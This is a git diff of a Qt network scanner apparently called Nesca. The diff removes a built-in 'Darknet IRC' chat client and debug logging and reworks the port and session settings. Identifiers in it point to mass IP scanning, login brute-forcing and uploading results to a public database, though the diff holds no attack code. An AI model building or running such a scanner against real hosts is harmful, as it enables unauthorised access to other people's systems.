SIGNAL(AddNick(QString)), this, SLOT(slotAppendIRCNick(QString))); - connect ( ircTh, SIGNAL(changeGreenIRCData(QString)), this, SLOT(appendGreenIRCText(QString))); - connect ( ircTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); - connect ( ircPTh, SIGNAL(changeRedIRCData(QString)), this, SLOT(appendRedIRCText(QString))); - connect ( ircPTh, SIGNAL(RestartIRC()), this, SLOT(slotRestartIRC())); - connect ( ircTh, SIGNAL(changeYellowIRCData(QString)), this, SLOT(appendYellowIRCText(QString))); - connect ( ircTh, SIGNAL(changeIRCData(bool, bool, int, QString, QString)), this, SLOT(appendDefaultIRCText(bool, bool, int, QString, QString))); - connect ( ircTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); - connect ( ircTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); - connect ( chPTh, SIGNAL(changeRawIRCDataInc(QString)), this, SLOT(appendDefaultIRCRawTextInc(QString))); - connect ( chPTh, SIGNAL(changeRawIRCDataOut(QString)), this, SLOT(appendDefaultIRCRawTextOut(QString))); - connect ( ircTh, SIGNAL(setNick(QString)), this, SLOT(setNickBox(QString))); - connect ( ircTh, SIGNAL(changeIRCDataOut(QString)), this, SLOT(appendDefaultIRCTextOut(QString))); - connect ( ircTh, SIGNAL(notifyPlay()), this, SLOT(playFcknSound())); connect ( adtHN, SIGNAL(sDrawActivityLine(QString)), this, SLOT(slotDrawActivityLine(QString))); connect ( adtHN, SIGNAL(sDrawGrid()), this, SLOT(slotDrawActivityGrid())); connect ( dtHN, SIGNAL(sAddDelimLines()), this, SLOT(slotDrawDelimLines())); @@ -2935,13 +2275,13 @@ void nesca_3::ConnectEvrthng() connect ( vsTh, SIGNAL(sAddLine()), this, SLOT(slotVoiceAddLine())); connect ( vsTh, SIGNAL(sDrawGrid(int)), this, SLOT(slotDrawVoiceGrid(int))); connect ( vsTh, SIGNAL(sDrawTextPlacers()), this, SLOT(slotDrawTextPlacers())); - connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); - connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); + connect ( psTh, SIGNAL(sUpdatePie()), this, SLOT(slotUpdatePie()) ); connect ( ui->tabMainWidget, SIGNAL(currentChanged(int)), this, SLOT(slotTabChanged(int)) ); + /*Msg blinker*/ + //connect ( irc_nmb, SIGNAL(sBlinkMessage()), this, SLOT(slotBlinkMessage()) ); } void _LoadPersInfoToLocalVars(int savedTabIndex) { - ZeroMemory(endIP2, sizeof(endIP2)); ZeroMemory(top_level_domain, sizeof(top_level_domain)); ZeroMemory(gPorts, sizeof(gPorts)); @@ -2957,31 +2297,30 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { QList splittedTargetLine = targetLine.split("-"); strcpy(currentIP, splittedTargetLine[0].toLocal8Bit().data()); strcpy(finalIP, splittedTargetLine[1].toLocal8Bit().data()); - strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); } } else { if(ui->ipLine->text().indexOf("/") < 0) { - strcpy(endIP2, ui->ipLine->text().toLocal8Bit().data()); - strcat(endIP2, "-"); - strcat(endIP2, ui->ipLine->text().toLocal8Bit().data()); + strcpy(currentIP, ui->ipLine->text().toLocal8Bit().data()); + strcat(currentIP, "-"); + strcat(currentIP, ui->ipLine->text().toLocal8Bit().data()); }; }; strncpy(gPorts, ("-p" + ui->portLine->text()).toLocal8Bit().data(), 65536); - gPorts[ui->lineEditPort->text().size()] = '\0'; + gPorts[ui->lineEditPort->text().length() + 2] = '\0'; } else if(savedTabIndex == 1) { gMode = 1; gThreads = ui->lineEditThread->text().toInt(); - strcpy(endIP2, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); + strcpy(currentIP, ui->lineEditStartIPDNS->text().toLocal8Bit().data()); strcpy(top_level_domain, ui->lineILVL->text().toLocal8Bit().data()); strncpy(gPorts, ("-p" + ui->lineEditPort->text()).toLocal8Bit().data(), 65536); - gPorts[ui->lineEditPort->text().size()] = '\0'; + gPorts[ui->lineEditPort->text().length() + 2] = '\0'; }; strcpy(trcSrv, ui->lineTrackerSrv->text().toLocal8Bit().data()); @@ -2989,11 +2328,6 @@ void _LoadPersInfoToLocalVars(int savedTabIndex) { strncpy(trcPersKey, ui->linePersKey->text().toLocal8Bit().data(), 32); memset(trcPersKey + 32, '\0', 1); strcpy(trcSrvPortLine, ui->trcSrvPortLine->text().toLocal8Bit().data()); - strcpy(ircServer, ui->ircServerBox->text().toLocal8Bit().data()); - strcpy(ircPort, ui->serverPortBox->text().toLocal8Bit().data()); - strcpy(ircProxy, ui->ircProxy->text().toLocal8Bit().data()); - strcpy(ircProxyPort, ui->ircProxyPort->text().toLocal8Bit().data()); - strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); strncpy(gProxyIP, ui->systemProxyIP->text().toLocal8Bit().data(), 64); gProxyIP[ui->systemProxyIP->text().size()] = '\0'; strncpy(gProxyPort, ui->systemProxyPort->text().toLocal8Bit().data(), 8); @@ -3128,16 +2462,23 @@ void RestoreSession() PortString.replace("\n", ""); - ui->lineEditPort->setText(PortString); - ui->portLine->setText(PortString); - ui->importPorts->setText(PortString); + if(PortString.length() > 0) { + ui->lineEditPort->setText(PortString); + ui->portLine->setText(PortString); + ui->importPorts->setText(PortString); + } else { + ui->lineEditPort->setText(PORTSET); + ui->portLine->setText(PORTSET); + ui->importPorts->setText(PORTSET); + } delete []fPorts; } else - { - ui->lineEditPort->setText(PORTSET); - ui->portLine->setText(PORTSET); + { + ui->lineEditPort->setText(PORTSET); + ui->portLine->setText(PORTSET); + ui->importPorts->setText(PORTSET); }; }; @@ -3152,6 +2493,22 @@ void RestoreSession() lex[strlen(lex) - 1] = '\0'; ui->pingingOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); }; + } else if (strstr(resStr, "[SHUFFLE]:") != NULL) { + lex = strstr(resStr, "[SHUFFLE]:") + strlen("[SHUFFLE]:"); + + if (strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->shuffle_onoff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; + } else if (strstr(resStr, "[NSTRACK]:") != NULL) { + lex = strstr(resStr, "[NSTRACK]:") + strlen("[NSTRACK]:"); + + if (strlen(lex) > 1) + { + lex[strlen(lex) - 1] = '\0'; + ui->trackerOnOff->setChecked(strcmp(lex, "true") == 0 ? true : false); + }; } setUIText("[PING_TO]:", ui->PingTO, resStr); setUIText("[THREAD_DELAY]:", ui->threadDelayBox, resStr); @@ -3159,19 +2516,14 @@ void RestoreSession() const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); if(tempLex.toInt() > 0) { ui->iptoLine_value->setText(tempLex.simplified()); - ui->iptoLine_value_2->setText(tempLex.simplified()); - ui->iptoLine_value_3->setText(tempLex.simplified()); + ui->iptoLine_value_2->setText(tempLex.simplified()); + ui->iptoLine_value_3->setText(tempLex.simplified()); } } setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr); setUIText("[PERSKEY]:", ui->linePersKey, resStr); - setUIText("[IRCSERVER]:", ui->ircServerBox, resStr); - setUIText("[IRCPORT]:", ui->serverPortBox, resStr); - setUIText("[IRCPROXY]:", ui->ircProxy, resStr); - setUIText("[IRCPROXYPORT]:", ui->ircProxyPort, resStr); setUIText("[SYSTEMPROXYIP]:", ui->systemProxyIP, resStr); setUIText("[SYSTEMPROXYPORT]:", ui->systemProxyPort, resStr); - setUIText("[IRCNICK]:", ui->ircNickBox, resStr); ZeroMemory(resStr, sizeof(resStr)); }; @@ -3260,10 +2612,7 @@ void _startMsgCheck() gthis = this; ui->setupUi(this); - ui->widgetIRC->installEventFilter(this); - ui->shoutBox->installEventFilter(this); - setSomeStyleArea(); - ui->IRCModeChangerBut->setVisible(false); + setSomeStyleArea(); ui->dataText->setOpenExternalLinks(true); ui->dataText->setOpenLinks(false); ui->rVerLabel->hide(); @@ -3277,9 +2626,7 @@ void _startMsgCheck() QTime time = QTime::currentTime(); qsrand((uint)time.msec()); - - ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); - + strcpy(gVER, GetVer()); QString QVER(gVER); ui->logoLabel->setToolTip("v3-" + QVER); @@ -3288,8 +2635,7 @@ void _startMsgCheck() CreateVerFile(); RestoreSession(); - PhraseLog.push_back(""); - CreateMsgPopupWidget(); + PhraseLog.push_back(""); dtHN->start(); dtME2->start(); @@ -3312,11 +2658,6 @@ void _startMsgCheck() qrp.setMinimal(true); } -void nesca_3::playFcknSound() -{ - QSound::play("00000036.wav"); -} - void nesca_3::mousePressEvent(QMouseEvent *event) { if (event->button() == Qt::LeftButton) { @@ -3377,19 +2718,9 @@ void nesca_3::ChangePingerOK(bool val) { ui->PingTO->setEnabled(val); gPingNScan = val; - if(val == false) - { - ui->PingTO->setStyleSheet("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;"); - } - else - { - ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); - }; -} -void nesca_3::ChangeDebugFileState(bool val) -{ - debugFileOK = val; + if(val == false) ui->PingTO->setStyleSheet("color: rgb(116, 116, 116);background-color: rgb(56, 56, 56);border:none;"); + else ui->PingTO->setStyleSheet("color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none;"); } void nesca_3::STTTerminate() @@ -3418,38 +2749,6 @@ void nesca_3::STTTerminate() stt->terminate(); } -bool dfLocked = false; -void writeDebugFile(QString str) -{ - while(dfLocked) Sleep(10); - QDate qd; - char b[8] = {0}; - char fn[64] = {0}; - strcpy(fn, "./output_"); - sprintf(b, "%d", qd.currentDate().day()); - strcat(fn, b); - strcat(fn, "_"); - sprintf(b, "%d", qd.currentDate().month()); - strcat(fn, b); - strcat(fn, "_"); - sprintf(b, "%d", qd.currentDate().year()); - strcat(fn, b); - strcat(fn, ".txt"); - - FILE *df = fopen(fn, "a"); - if(df != NULL) - { - dfLocked = true; - fputs(str.toLocal8Bit().data(), df); - fclose(df); - dfLocked = false; - } - else - { - stt->doEmitionRedFoundData("[DEBUG: Cannot open " + QString(fn) + "]"); - }; -} - void nesca_3::startScanButtonClicked() { if(startFlag == false) @@ -3603,8 +2902,7 @@ void nesca_3::appendGreenBAData(QString str) void nesca_3::appendDefaultText(QString str) { - ui->dataText->append("

[" + QTime::currentTime().toString() + "] " + str + "

"); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("

[" + QTime::currentTime().toString() + "] " + str + "

"); } void nesca_3::appendErrText(QString str) @@ -3618,26 +2916,22 @@ void nesca_3::appendErrText(QString str) stt->doEmitionIPS("0"); ui->startScanButton_3->setText("Start"); stt->terminate(); - }; - if(debugFileOK) writeDebugFile(str + "\n"); + }; } void nesca_3::appendOKText(QString str) { - ui->dataText->append("[" + QTime::currentTime().toString() + "][OK] " + str + ""); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("[" + QTime::currentTime().toString() + "][OK] " + str + ""); } void nesca_3::appendNotifyText(QString str) { - ui->dataText->append("[" + QTime::currentTime().toString() + "][*] " + str + ""); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("[" + QTime::currentTime().toString() + "][*] " + str + ""); } void nesca_3::appendDebugText(QString str) { - ui->dataText->append("[DEBUG] " + str + ""); - if(debugFileOK) writeDebugFile(str + "\n"); + ui->dataText->append("[DEBUG] " + str + ""); } @@ -3686,218 +2980,6 @@ QString GetColorCode(int mode, QString str) return result; } -void nesca_3::appendDefaultIRCTextOut(QString str) -{ - bool thisIsUrl = false; - r.indexIn(str); - - QString link = r.cap(0); - - if(link.size() != 0) - { - str.replace("<", "<"); - link.replace("<", "<"); - str.replace(r, "" + link.trimmed() + " "); - thisIsUrl = true; - }; - - QString rData; - if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed() + ""; - else rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + ""; - - globalIRCText += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircText->append(QString(wtf)); - } - else ui->ircText->append(rData); - - thisIsUrl = false; -} - -void nesca_3::appendDefaultIRCText(bool pm, bool hlflag, QString str, QString senderNick) -{ - bool thisIsUrl = false; - - int pos = 0; - QString colRes; - while ((pos = colr.indexIn(str, pos)) != -1) - { - colRes = colr.cap(1); - if(colRes.indexOf(",") > 0) str.replace(colRes, ""); - else str.replace(colRes, ""); - pos += colr.matchedLength(); - thisIsUrl = true; - }; - - int posBold = 0; - QString boldRes; - boldr.setMinimal(true); - while ((posBold = boldr.indexIn(str, posBold)) != -1) - { - boldRes = boldr.cap(0); - QString boldResTrimmed = boldRes; - boldResTrimmed.replace("", ""); - str.replace(boldRes, "" + boldResTrimmed + ""); - posBold += boldr.matchedLength(); - thisIsUrl = true; - }; - - int posUnder = 0; - QString underRes; - under.setMinimal(true); - while ((posUnder = under.indexIn(str, posUnder)) != -1) - { - underRes = under.cap(0); - QString underResTrimmed = underRes; - underResTrimmed.replace("", ""); - str.replace(underRes, "" + underResTrimmed + ""); - posUnder += under.matchedLength(); - thisIsUrl = true; - }; - - r.indexIn(str); - QString link = r.cap(0); - if(link.size() != 0) - { - str.replace("<", "<"); - link.replace("<", "<"); - str.replace(r, "" + link.trimmed() + " "); - thisIsUrl = true; - }; - - - str.replace("", ""); - str.replace("", ""); - - char rawData[512] = {0}; - strncpy(rawData, str.toLocal8Bit().data(), 512); - - if(strstr(rawData, "") != NULL || strstr(rawData, "") != NULL || - strstr(rawData, "") != NULL || strstr(rawData, "") != NULL - ) thisIsUrl = true; - - QString rData; - if(strstr(rawData, "ACTION") != NULL) - { - senderNick.replace("[", ""); - senderNick.replace("]:", ""); - str.replace("ACTION", ""); - str.replace("", ""); - rData = "[" + QTime::currentTime().toString() + "] -->" + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; - globalIRCText += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircText->append(QString(wtf)); - } - else ui->ircText->append(rData); - } - else - { - if(hlflag) - { - if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str + ""; - else rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; - } - else - { - if(code160 || thisIsUrl) rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str + ""; - else rData = "[" + QTime::currentTime().toString() + "] " + (pm?" [PM] ":"") + senderNick + " " + str.trimmed().toHtmlEscaped() + ""; - }; - - globalIRCText += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircText->append(QString(wtf)); - } - else ui->ircText->append(rData); - }; -} - -void nesca_3::appendRedIRCText(QString str) -{ - QString rData; - rData = "[" + QTime::currentTime().toString() + "] " + str + ""; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} - -void nesca_3::appendGreenIRCText(QString str) -{ - QString rData; - rData = "[" + QTime::currentTime().toString() + "] " + str + ""; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} - -void nesca_3::appendYellowIRCText(QString str) -{ - QString rData; - rData = "[" + QTime::currentTime().toString() + "] " + "[*] " + str.trimmed() + ""; - globalIRCText += rData + "\n"; - ui->ircText->append(rData); -} - -void nesca_3::appendDefaultIRCRawTextInc(QString str) -{ - QString rData; - if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str; - else rData = "[" + QTime::currentTime().toString() + "] " + str.toHtmlEscaped(); - globalIRCRaw += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircRaw->append(QString(wtf)); - } - else ui->ircRaw->append(rData); -} - -void nesca_3::appendDefaultIRCRawTextOut(QString str) -{ - QString rData; - if(code160) rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed() + ""; - else rData = "[" + QTime::currentTime().toString() + "] " + str.trimmed().toHtmlEscaped() + ""; - globalIRCRaw += rData + "\n"; - if(utfIRCFlag) - { - QByteArray wtf = codec->fromUnicode(rData); - ui->ircRaw->append(QString(wtf)); - } - else ui->ircRaw->append(rData); -} - -void nesca_3::slotClearNickList() -{ - ui->nickList->clear(); -} - -void nesca_3::slotAppendIRCNick(QString str) -{ - if(str.size() > 0 && str != " ") - { - ui->nickList->addItem(str.remove("@")); - ui->nickList->setGeometry(ui->nickList->x(), ui->nickList->y(), ui->nickList->width(), ui->nickList->count() * 17 + 5); - }; -} - -void nesca_3::slotItemClicked(QListWidgetItem* wi) -{ - if(privateMsgFlag == false) - { - QString pText = ui->shoutBox->text(); - ui->shoutBox->setText(pText + wi->text() + ", "); - ui->shoutBox->setFocus(); - } - else - { - ui->shoutBox->setText("/w " + wi->text().remove("@") + " "); - ui->shoutBox->setFocus(); - }; -} - nesca_3::~nesca_3() { delete[] ui; diff --git a/nesca_3.h b/nesca_3.h index 7c8a095..1636de3 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -24,12 +24,12 @@ #include "mainResources.h" extern Ui::nesca_3Class *ui; -extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait, - connectedToIRC, ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, +extern bool widgetIsHidden, blinkFlag, disableBlink, QOSWait, + ME2ScanFlag, QoSScanFlag, VoiceScanFlag, PieStatFlag, proxyEnabledFlag, smBit_8, smBit_7, smBit_6, smBit_5, smBit_4, smBit_3, smBit_2, smBit_1, printDelimiter; extern float QoSStep; extern int MaxDataVal; -extern char endIP2[128], inputStr[256]; +extern char inputStr[256]; extern SOCKET lSock; extern QVector vAlivLst, vAnomLst, vWFLst, vSuspLst, vLowlLst, vBALst, vSSHLst, vOvrlLst, actLst; @@ -67,19 +67,7 @@ protected: void changeNSTrackLabel(bool status); void slotPBUpdate(); void DNSLine_ValueChanged(); - void slotChangeCPModeToUTF(); - void slotChangeCPModeTo1251(); - void slotShowRedVersion(); - void ChangeDebugFileState(bool val); - void ChangeTopic(); - void slotIRCGetTopic(QString str); - void slotIRCOfflined(); - void slotUnhidePopup(QString str, QString senderNick); - void slotItemClicked(QListWidgetItem* wi); - void slotClearNickList(); - void slotAppendIRCNick(QString str); - void slotShowNicks(); - void slotBlinkMessage(); + void slotShowRedVersion(); void slotTabChanged(int index); void IPScanSeq(); void DNSScanSeq(); @@ -91,22 +79,13 @@ protected: void slotShowServerMsg(QString str); void slotSaveImage(QAction *qwe); void slotUpdatePie(); - void slotClearLogs(); - void slotRestartIRC(); + void slotClearLogs(); void slotDrawVoiceGrid(int factor); - void slotDrawTextPlacers(); - void onLinkClicked(QUrl link); + void slotDrawTextPlacers(); void CheckPersKey(); void CheckPersKey(int val); - void slotRestoreDefPorts(); - void ChangeNick(); - void setNickBox(QString str); - void SaySmthng(); - void ChangeIRCRawLog(); - void switchToJobMode(); - void ConnectToIRCServer(); - void CheckProxy(); - void ChangeDispalyMode(); + void slotRestoreDefPorts(); + void switchToJobMode(); void switchDataFields(); void importAndScan(); void slotQoSAddGrid(); @@ -140,18 +119,10 @@ protected: void appendOKText(QString str); void appendDebugText(QString str); void appendNotifyText(QString str); - void appendDefaultText(QString str); - void appendRedIRCText(QString str); - void appendGreenIRCText(QString str); - void appendYellowIRCText(QString str); - void appendDefaultIRCText(bool, bool, QString str, QString s); - void appendDefaultIRCTextOut(QString str); - void appendDefaultIRCRawTextInc(QString str); - void appendDefaultIRCRawTextOut(QString str); + void appendDefaultText(QString str); void appendGreenBAData(QString str); void appendRedBAData(QString str); - void STTTerminate(); - void playFcknSound(); + void STTTerminate(); private: QPoint dragPosition; }; @@ -200,8 +171,7 @@ protected: { if(switchWindows) { - switchWindows = false; - emit ui->IRCModeBut->clicked(); + switchWindows = false; }; } diff --git a/nesca_3.ui b/nesca_3.ui index 01b2eac..4e0d16f 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -176,7 +176,7 @@ Eurostile - 9 + 8 @@ -486,7 +486,7 @@ Eurostile - 9 + 8 @@ -793,7 +793,7 @@ color: rgb(214, 214, 0); Eurostile - 9 + 8 @@ -973,8 +973,8 @@ border-radius: 3px; 30 - 100 - 241 + 120 + 281 17 @@ -990,7 +990,7 @@ border-radius: 3px; color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); - Send results to NescaDatabase + Send results to public NescaDatabase true @@ -1142,34 +1142,6 @@ border-radius: 3px; Check key - - - - 30 - 116 - 276 - 17 - - - - - Eurostile - 8 - - - - - - - color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); - - - [DEBUG] Write main output to file "./logs/output.txt" - - - false - - @@ -2546,7 +2518,7 @@ p, li { white-space: pre-wrap; } <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> @@ -3148,797 +3120,6 @@ background-color: #000000; rVerLabel NSTrackStatusLabel - - - - 500 - 44 - 498 - 730 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - - 16 - 16 - 16 - - - - - 0 - 0 - 0 - - - - - - - - - - background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)); - - - - - 83 - 30 - 163 - 20 - - - - - Eurostile - - - - color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); - - - addr.ne.jp - - - 128 - - - Qt::AlignCenter - - - IRC server here - - - - - - 10 - 705 - 469 - 20 - - - - - Eurostile - - - - - - - color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226); - - - - - - 256 - - - Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter - - - - - - - - - 250 - 30 - 82 - 20 - - - - - Eurostile - - - - color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); - - - 6667 - - - 5 - - - Qt::AlignCenter - - - IRC port here - - - - - - 369 - 30 - 117 - 20 - - - - - Eurostile - - - - color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); - - - - - - 16 - - - Qt::AlignCenter - - - Your nick here - - - - - - 220 - 85 - 75 - 23 - - - - - Eurostile - - - - - - - Connect - - - - - - 10 - 140 - 469 - 556 - - - - - Eurostile - - - - color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221); - - - - - - QFrame::NoFrame - - - QFrame::Plain - - - false - - - true - - - <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> -<html><head><meta name="qrichtext" content="1" /><style type="text/css"> -p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> -<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> - - - true - - - 5 - - - Qt::TextBrowserInteraction - - - true - - - false - - - - - - 83 - 55 - 163 - 20 - - - - - Eurostile - - - - color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); - - - - - - 128 - - - Qt::AlignCenter - - - Proxy here - - - - - - 250 - 55 - 82 - 20 - - - - - Eurostile - - - - color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); - - - - - - 5 - - - Qt::AlignCenter - - - Proxy port here - - - - - - 337 - 55 - 149 - 20 - - - - - Eurostile - - - - - - - Check proxy - - - - - - 10 - 140 - 469 - 556 - - - - - Eurostile - - - - background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125); - - - - - - QFrame::NoFrame - - - QFrame::Plain - - - false - - - true - - - <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> -<html><head><meta name="qrichtext" content="1" /><style type="text/css"> -p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> -<p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> - - - true - - - 5 - - - Qt::TextBrowserInteraction - - - true - - - false - - - - - - 481 - 140 - 16 - 556 - - - - Stalkers online - - - Stalkers online - - - border: 1px solid rgb(216, 216, 216); -color: rgb(216, 216, 216); -background-color: #000000; - - - < - - - - - - 329 - 145 - 147 - 0 - - - - background-color: rgba(0, 0, 0, 0.5); -color: rgb(212, 212, 212); - - - QFrame::Panel - - - QFrame::Plain - - - QListView::Adjust - - - true - - - - - - 44 - 115 - 435 - 20 - - - - - 7 - - - - background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange; - - - - - - 256 - - - - - - 440 - 80 - 48 - 12 - - - - - Eurostile - - - - Codepage - - - Codepage - - - background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40); -color: rgb(0, 214, 0); - - - UTF-8 - - - - - - 392 - 80 - 48 - 12 - - - - - Eurostile - - - - Codepage - - - Codepage - - - background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); -color: rgb(71, 71, 71); - - - CP-1251 - - - - - - 20 - 30 - 56 - 20 - - - - - Eurostile - 8 - 50 - false - false - false - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - IRC SERVER - - - - - - 10 - 55 - 68 - 20 - - - - - Eurostile - 8 - 50 - false - false - false - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - PROXY&PORT - - - - - - 340 - 30 - 27 - 20 - - - - - Eurostile - 8 - 50 - false - false - false - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - NICK - - - - - - 10 - 115 - 31 - 20 - - - - - Eurostile - 8 - 50 - false - false - false - - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); - - - TOPIC - - - nickList - ircRaw - ircServerBox - shoutBox - serverPortBox - ircNickBox - IRCConnectBut - ircText - ircProxy - ircProxyPort - IRCCheckProxyBut - nickShowBut - topicLine - IRCUTFMode - IRCCP1251Mode - labelIPRange_2 - labelIPRange_3 - labelIPRange_4 - labelIPRange_5 - @@ -4016,34 +3197,6 @@ color: rgb(71, 71, 71); :Dataflow - - - - 340 - 50 - 48 - 16 - - - - - Eurostile - 8 - - - - Darknet IRC - - - Darknet IRC - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); - - - :IRC - - @@ -4072,42 +3225,8 @@ color: rgb(71, 71, 71); :Jobs - - - true - - - - 290 - 50 - 48 - 16 - - - - - Eurostile - 8 - - - - Raw or normal log view - - - Raw or normal log view - - - color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); - - - :IRC raw - - widget widgetJOB - widgetIRC - IRCModeChangerBut - IRCModeBut JobModeBut DataflowModeBut diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 67e82bd..7009697 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -27,12 +27,12 @@ int ipsstart[4], ipsend[4], overallPorts, flCounter, octet[4]; int BA = 0; int gPingTimeout = 1; +int gMaxBrutingThreads = 200; unsigned int Activity = 0; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; double ips = 0; char top_level_domain[128] = {0}; -char endIP2[128] = {0}; char **GlobalNegatives = 0; char **loginLst, **passLst; char **wfLoginLst, **wfPassLst; @@ -190,21 +190,7 @@ void _SaveBackupToFile() if(strlen(endStr) > 0) { - strcpy(saveStr, "[SESSION]:"); - strcat(saveStr, std::to_string(gMode).c_str()); - strcat(saveStr, " "); - strcat(saveStr, endStr); - if(gMode == 1) - { - strcat(saveStr, " "); - strcat(saveStr, top_level_domain); - }; - strcat(saveStr, " "); - strcat(saveStr, std::to_string(gThreads).c_str()); - strcat(saveStr, " "); - strcat(saveStr, gPorts); - - strcat(saveStr, "\n"); + sprintf(saveStr, "[SESSION]:%d %s %s %d %s\n", gMode, endStr, (gMode ? top_level_domain : ""), gThreads, gPorts); 